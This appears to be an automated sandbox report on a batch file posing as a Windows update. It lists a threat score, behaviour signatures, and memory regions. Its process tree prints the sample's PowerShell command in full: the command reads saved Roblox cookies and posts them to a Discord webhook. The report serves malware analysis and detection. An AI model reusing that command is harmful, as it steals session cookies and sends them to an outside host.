Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    03/07/2026, 22:57

General

  • Target
    WindowsUpdate_v3.1.bat
  • Size 1KB
  • Sample260703-2xp3ssds5m
  • SHA256 42011b602622936e3c475b02326034ab44fd6e47cf281751e65cf8daf62de10b
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate_v3.1.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "& {$cookies = Get-Content 'C:\Users\Admin\AppData\Local\Temp\roblox_cookies.txt'; $payload = @{content = 'Roblox Cookie Bilgileri:' + [Environment]::NewLine + $cookies}; Invoke-RestMethod -Uri 'https://discord.com/api/webhooks/https://discord.com/api/webhooks/1522733888906989669/B_fM6ZDIWq4iIEa8se2swZ3wpbDGVxbCdXXmHdrwEt00iljm0JJs7ianWGukk0-gFWG9' -Method Post -ContentType 'application/json' -Body ($payload | ConvertTo-Json)}"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3736

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_kum0nnei.eti.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kum0nnei.eti.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3736-0-0x0000022149A20000-0x0000022149A30000-memory.dmp

        memory/3736-1-0x0000022149A20000-0x0000022149A30000-memory.dmp

        memory/3736-7-0x0000022164120000-0x0000022164142000-memory.dmp

        memory/3736-10-0x0000022149A20000-0x0000022149A30000-memory.dmp

        memory/3736-11-0x0000022164B10000-0x0000022164CD2000-memory.dmp

        memory/3736-12-0x0000022165210000-0x0000022165738000-memory.dmp